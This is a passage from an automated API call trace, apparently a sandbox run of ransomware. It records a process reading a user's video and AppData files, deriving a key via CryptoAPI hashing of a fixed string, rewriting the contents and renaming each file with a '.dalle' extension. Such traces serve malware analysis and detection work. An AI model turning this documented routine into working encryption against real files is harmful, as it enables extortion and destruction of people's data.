lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.969] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x2d04, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x2d04, lpOverlapped=0x0) returned 1 [0121.970] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.970] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x2d09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.970] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.970] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.970] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.970] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.970] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.970] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.970] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.970] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.970] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.970] CloseHandle (hObject=0x618) returned 1 [0121.972] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac688 [0121.972] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8d0) returned 0x3093b88 [0121.972] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac688 | out: hHeap=0x5e0000) returned 1 [0121.972] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\NnrUk7lhXvK.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\amtpowphv-gn\\nnruk7lhxvk.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\NnrUk7lhXvK.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\amtpowphv-gn\\nnruk7lhxvk.avi.dalle")) returned 1 [0121.973] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.973] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.974] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0121.974] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdde5b500, ftCreationTime.dwHighDateTime=0x1d4c563, ftLastAccessTime.dwLowDateTime=0x5fcfe930, ftLastAccessTime.dwHighDateTime=0x1d4d15a, ftLastWriteTime.dwLowDateTime=0x5fcfe930, ftLastWriteTime.dwHighDateTime=0x1d4d15a, nFileSizeHigh=0x0, nFileSizeLow=0xe074, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q9ql_Ez22le8gAau.flv", cAlternateFileName="Q9QL_E~1.FLV")) returned 1 [0121.974] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.974] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x106) returned 0x3011f48 [0121.974] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.974] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\q9ql_Ez22le8gAau.flv") returned=".flv" [0121.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\q9ql_Ez22le8gAau.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\amtpowphv-gn\\q9ql_ez22le8gaau.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.974] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=57460) returned 1 [0121.974] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.976] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe04e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.976] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.978] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.978] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.978] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe074, lpOverlapped=0x0) returned 1 [0121.978] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.978] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.978] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.979] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.979] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.979] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.979] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.979] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.979] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.980] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.980] GetLastError () returned 0x0 [0121.980] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.980] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe070) returned 0x3096780 [0121.980] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.980] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xe06f, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xe06f, lpOverlapped=0x0) returned 1 [0121.980] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.980] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.980] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.981] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.981] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.981] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.981] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.981] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.981] CloseHandle (hObject=0x618) returned 1 [0121.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac688 [0121.982] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e0) returned 0x3093b88 [0121.982] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac688 | out: hHeap=0x5e0000) returned 1 [0121.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\q9ql_Ez22le8gAau.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\amtpowphv-gn\\q9ql_ez22le8gaau.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\DazZdjJb9WM2iqx\\aMTPOWpHV-gn\\q9ql_Ez22le8gAau.flv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\dazzdjjb9wm2iqx\\amtpowphv-gn\\q9ql_ez22le8gaau.flv.dalle")) returned 1 [0121.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.984] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.984] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0121.984] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdde5b500, ftCreationTime.dwHighDateTime=0x1d4c563, ftLastAccessTime.dwLowDateTime=0x5fcfe930, ftLastAccessTime.dwHighDateTime=0x1d4d15a, ftLastWriteTime.dwLowDateTime=0x5fcfe930, ftLastWriteTime.dwHighDateTime=0x1d4d15a, nFileSizeHigh=0x0, nFileSizeLow=0xe074, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q9ql_Ez22le8gAau.flv", cAlternateFileName="Q9QL_E~1.FLV")) returned 0 [0121.985] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e3b0 | out: hHeap=0x5e0000) returned 1 [0121.985] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0fc8 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30948c8 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094b28 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094c58 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023098 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1160 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e240 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6dab00 | out: hHeap=0x5e0000) returned 1 [0121.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094c58 [0121.985] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.985] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.985] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.986] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.986] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094bc0 | out: hHeap=0x5e0000) returned 1 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1160 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0121.988] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.988] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.988] PathFindFileNameW (pszPath="") returned="" [0121.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.988] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.990] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.990] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0121.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x3094bc0 [0121.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd6) returned 0x2f78ea0 [0121.990] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0121.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), 